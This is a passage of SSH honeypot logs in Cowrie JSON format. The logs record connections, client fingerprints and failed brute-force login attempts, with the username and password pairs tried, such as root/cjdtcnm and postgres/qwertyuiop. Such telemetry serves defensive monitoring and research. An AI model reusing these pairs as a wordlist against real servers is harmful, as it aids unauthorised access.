hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:41.184865Z","src_ip":"103.153.68.219","session":"f521aa5074aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cjdtcnm","message":"login attempt [root/cjdtcnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:41.936275Z","src_ip":"103.153.68.219","session":"f521aa5074aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:43.187446Z","src_ip":"103.153.68.219","session":"f521aa5074aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":41010,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eee45ae605d","protocol":"ssh","message":"New connection: 159.65.58.200:41010 (159.203.135.109:22) [session: 0eee45ae605d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:55.493111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:55.799976Z","src_ip":"159.65.58.200","session":"0eee45ae605d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:55.802863Z","src_ip":"159.65.58.200","session":"0eee45ae605d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shmatov","password":"123456","message":"login attempt [shmatov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:57.390259Z","src_ip":"159.65.58.200","session":"0eee45ae605d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:58.625225Z","src_ip":"159.65.58.200","session":"0eee45ae605d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":43191,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ca0dfebd81","protocol":"ssh","message":"New connection: 177.16.244.39:43191 (10.17.0.5:22) [session: c6ca0dfebd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:12.958368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:12.962567Z","src_ip":"177.16.244.39","session":"c6ca0dfebd81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:13.097167Z","src_ip":"177.16.244.39","session":"c6ca0dfebd81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"20252025","message":"login attempt [teamspeak/20252025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:13.655941Z","src_ip":"177.16.244.39","session":"c6ca0dfebd81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:14.790327Z","src_ip":"177.16.244.39","session":"c6ca0dfebd81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":37064,"dst_ip":"159.203.135.109","dst_port":22,"session":"243e3fb1f7cb","protocol":"ssh","message":"New connection: 146.190.154.85:37064 (159.203.135.109:22) [session: 243e3fb1f7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:17.434831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:17.438321Z","src_ip":"146.190.154.85","session":"243e3fb1f7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:17.517853Z","src_ip":"146.190.154.85","session":"243e3fb1f7cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trustees","password":"trustees123","message":"login attempt [trustees/trustees123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:17.868186Z","src_ip":"146.190.154.85","session":"243e3fb1f7cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:18.948935Z","src_ip":"146.190.154.85","session":"243e3fb1f7cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":56950,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a3eab777ef","protocol":"ssh","message":"New connection: 147.45.211.215:56950 (10.17.0.5:22) [session: 04a3eab777ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:24.328231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:24.332913Z","src_ip":"147.45.211.215","session":"04a3eab777ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:24.512478Z","src_ip":"147.45.211.215","session":"04a3eab777ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm1234567890","message":"login attempt [root/zxcvbnm1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:25.044729Z","src_ip":"147.45.211.215","session":"04a3eab777ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:26.223491Z","src_ip":"147.45.211.215","session":"04a3eab777ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":56988,"dst_ip":"10.17.0.5","dst_port":22,"session":"a45f0eeec66e","protocol":"ssh","message":"New connection: 20.228.193.165:56988 (10.17.0.5:22) [session: a45f0eeec66e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:35.192529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:35.195723Z","src_ip":"20.228.193.165","session":"a45f0eeec66e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:35.208648Z","src_ip":"20.228.193.165","session":"a45f0eeec66e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDqwe!@#","message":"login attempt [root/ASDqwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:35.283690Z","src_ip":"20.228.193.165","session":"a45f0eeec66e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:36.297163Z","src_ip":"20.228.193.165","session":"a45f0eeec66e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":42320,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc54de33d9f2","protocol":"ssh","message":"New connection: 34.123.134.194:42320 (159.203.135.109:22) [session: fc54de33d9f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:43.841198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:43.850778Z","src_ip":"34.123.134.194","session":"fc54de33d9f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:43.885803Z","src_ip":"34.123.134.194","session":"fc54de33d9f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pollux","password":"pollux123","message":"login attempt [pollux/pollux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:44.199856Z","src_ip":"34.123.134.194","session":"fc54de33d9f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:45.346512Z","src_ip":"34.123.134.194","session":"fc54de33d9f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":51192,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef671c5b611c","protocol":"ssh","message":"New connection: 154.18.197.35:51192 (159.203.135.109:22) [session: ef671c5b611c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:48.663141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:48.667496Z","src_ip":"154.18.197.35","session":"ef671c5b611c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:48.886623Z","src_ip":"154.18.197.35","session":"ef671c5b611c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.","message":"login attempt [root/123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:49.797473Z","src_ip":"154.18.197.35","session":"ef671c5b611c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:51.018885Z","src_ip":"154.18.197.35","session":"ef671c5b611c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":42286,"dst_ip":"159.203.135.109","dst_port":22,"session":"34320cc3907d","protocol":"ssh","message":"New connection: 165.232.38.41:42286 (159.203.135.109:22) [session: 34320cc3907d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:52.943581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:52.947097Z","src_ip":"165.232.38.41","session":"34320cc3907d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:53.021569Z","src_ip":"165.232.38.41","session":"34320cc3907d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwertyuiop","message":"login attempt [postgres/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:53.342899Z","src_ip":"165.232.38.41","session":"34320cc3907d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:47:54.416829Z","src_ip":"165.232.38.41","session":"34320cc3907d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":51362,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e1159958ce2","protocol":"ssh","message":"New connection: 176.53.159.196:51362 (10.17.0.5:22) [session: 6e1159958ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:05.534771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:48:05.539111Z","src_ip":"176.53.159.196","session":"6e1159958ce2","protocol":"ssh"}
